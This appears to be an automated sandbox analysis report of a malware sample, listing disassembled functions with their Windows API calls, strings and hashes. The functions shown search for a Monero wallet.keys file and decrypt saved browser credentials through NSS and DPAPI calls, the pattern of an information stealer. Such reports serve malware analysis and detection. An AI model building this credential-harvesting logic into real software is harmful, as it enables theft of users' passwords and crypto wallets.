Function 004ADE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,004C0C2E), ref: 004ADE5E
StrCmpCA.SHLWAPI(?,004C14C8), ref: 004ADEAE
StrCmpCA.SHLWAPI(?,004C14CC), ref: 004ADEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 004AE3E0
FindClose.KERNEL32(000000FF), ref: 004AE3F2

Strings

\*.*, xrefs: 004ADE26

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 2cf3c508a9def46b10d3539e3a32952114fc8647f185b49442b9d158b64d943a
Instruction ID: 9128fd464fe37941499ca349b654b75c6b676d51b2b8bae083321cf243739eb9
Opcode Fuzzy Hash: 2cf3c508a9def46b10d3539e3a32952114fc8647f185b49442b9d158b64d943a
Instruction Fuzzy Hash: 8BF1B071814118AADB25FB61CCA5EEE7338AF14304F9045DFA40A62491EF386F5ACF79

Function 004AC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 004AC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 004AC87C
PK11_GetInternalKeySlot.NSS3 ref: 004AC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 004AC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 004AC8EB
lstrcat.KERNEL32(?,004C0B46), ref: 004AC943
lstrcat.KERNEL32(?,004C0B47), ref: 004AC957
PK11_FreeSlot.NSS3(?), ref: 004AC961
lstrcat.KERNEL32(?,004C0B4E), ref: 004AC978

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: c1685cef087cab0b68ccbfae456d3b3c606ec0a3a44809e3fc8852de206fabbe
Instruction ID: 3d2b79064e0f075fa3bf861551f8cf32a25368f5667db2d1320bc08c902e4d24
Opcode Fuzzy Hash: c1685cef087cab0b68ccbfae456d3b3c606ec0a3a44809e3fc8852de206fabbe
Instruction Fuzzy Hash: BC417EB590421ADBDB50DFE0DD89BEFB7B8BB48304F1041A9F509A6280D7746A84CF96

Function 00867389 Relevance: 9.1, Strings: 6, Instructions: 1628COMMON

Download Yara Rule

Strings

>737, xrefs: 0086837F
lH2t, xrefs: 00868778
2T~n, xrefs: 0086784C
9O, xrefs: 0086823C
:%k, xrefs: 00868637
>%k, xrefs: 00868632

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2T~n$:%k$>%k$>737$lH2t$9O
API String ID: 0-3995611554
Opcode ID: dcb0a1b3aedd35d0b8af10e38b31e0f596bd6af5339e21512cc8bc16b4dfb369
Instruction ID: 95e1af741322e84fe96eff0b7f5c5772aa61a1eae378bda4e225b30dea586eca
Opcode Fuzzy Hash: dcb0a1b3aedd35d0b8af10e38b31e0f596bd6af5339e21512cc8bc16b4dfb369
Instruction Fuzzy Hash: C7B229F3A0C2049FE3086E2DEC8567AF7E9EF94720F16463DEAC483744EA7558058697

Function 004A9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NJ,00000000,00000000), ref: 004A9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,004A4EEE,00000000,?), ref: 004A9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NJ,00000000,00000000), ref: 004A9B2A
LocalFree.KERNEL32(?,?,?,?,004A4EEE,00000000,?), ref: 004A9B3F

Strings

NJ, xrefs: 004A9AD4, 004A9AE1, 004A9AF9, 004A9B18, 004A9AE4, 004A9B1B

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: NJ
API String ID: 4291131564-482500249
Opcode ID: 5a424bc732cc9cdc7188117c119cf1be8ba7f1f06731a32a1f94b84c74a6301b
Instruction ID: 361cafae6b6211aaba149cd9004610c0607ed995e88ff63a6ecb1a8861aefb91
Opcode Fuzzy Hash: 5a424bc732cc9cdc7188117c119cf1be8ba7f1f06731a32a1f94b84c74a6301b
Instruction Fuzzy Hash: FA1193B4240308AFEB10CFA4DC95FAA77B6FB89700F208059FA159F390C775A941CB64

Function 004B6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 004B696C
sscanf.NTDLL ref: 004B6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004B69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004B69C0
ExitProcess.KERNEL32 ref: 004B69DA

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 2bbda966eb033a26a6c5b848d7593e1c5d42a61a1b3398402a5e105aabe2393a
Instruction ID: b063d7ba541e4f46978df754c698c6d2fe2b3350a292288bb7900b5e849d6fed
Opcode Fuzzy Hash: 2bbda966eb033a26a6c5b848d7593e1c5d42a61a1b3398402a5e105aabe2393a
Instruction Fuzzy Hash: 3A21CBB5D14208ABCF04EFE4D9859EEB7B6FF48300F04852EE406E7250EB346609CB69

Function 004A7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 004A724D
RtlAllocateHeap.NTDLL(00000000), ref: 004A7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004A7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 004A72A4
LocalFree.KERNEL32(?), ref: 004A72AE

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 5806836d78e5cc0d740791652e64fe5e62d50496663539e99c13232921152ad5
Instruction ID: d1bb859d4789e456971f6148c1e85cd16b1a048ca8e0b5a5d0f37acfd8f9e88c
Opcode Fuzzy Hash: 5806836d78e5cc0d740791652e64fe5e62d50496663539e99c13232921152ad5
Instruction Fuzzy Hash: 49010075A40308BBDB10DBD4CD85F9E7779AB44700F104155FB05AE2C0D674BA018B65

Function 00859CE0 Relevance: 6.6, Strings: 4, Instructions: 1643COMMON

Download Yara Rule

Strings

&c}s, xrefs: 0085A13C
cO+, xrefs: 0085A222
}9, xrefs: 0085A5C5
*PuD, xrefs: 00859FBF

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &c}s$*PuD$cO+$}9
API String ID: 0-1369945837
Opcode ID: 9ae8fb7d64cc695007a29905da93edb5dc4581aa31762a12189a981f8a80840e
Instruction ID: 34e8e36f2d8b905d6c9b6d4a36c560fe784b3306a8b5d477dfbaf65e71aef1c3
Opcode Fuzzy Hash: 9ae8fb7d64cc695007a29905da93edb5dc4581aa31762a12189a981f8a80840e
Instruction Fuzzy Hash: DBB249F3A082109FE304AE2DEC8567AF7E5EF94720F1A493DEAC5C3744EA3558058697

Function 00862409 Relevance: 6.6, Strings: 4, Instructions: 1621COMMON

Download Yara Rule

Strings

p`wA, xrefs: 00862D71
>?, xrefs: 0086364E
IHb, xrefs: 00862708
R\Z, xrefs: 00862A31

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
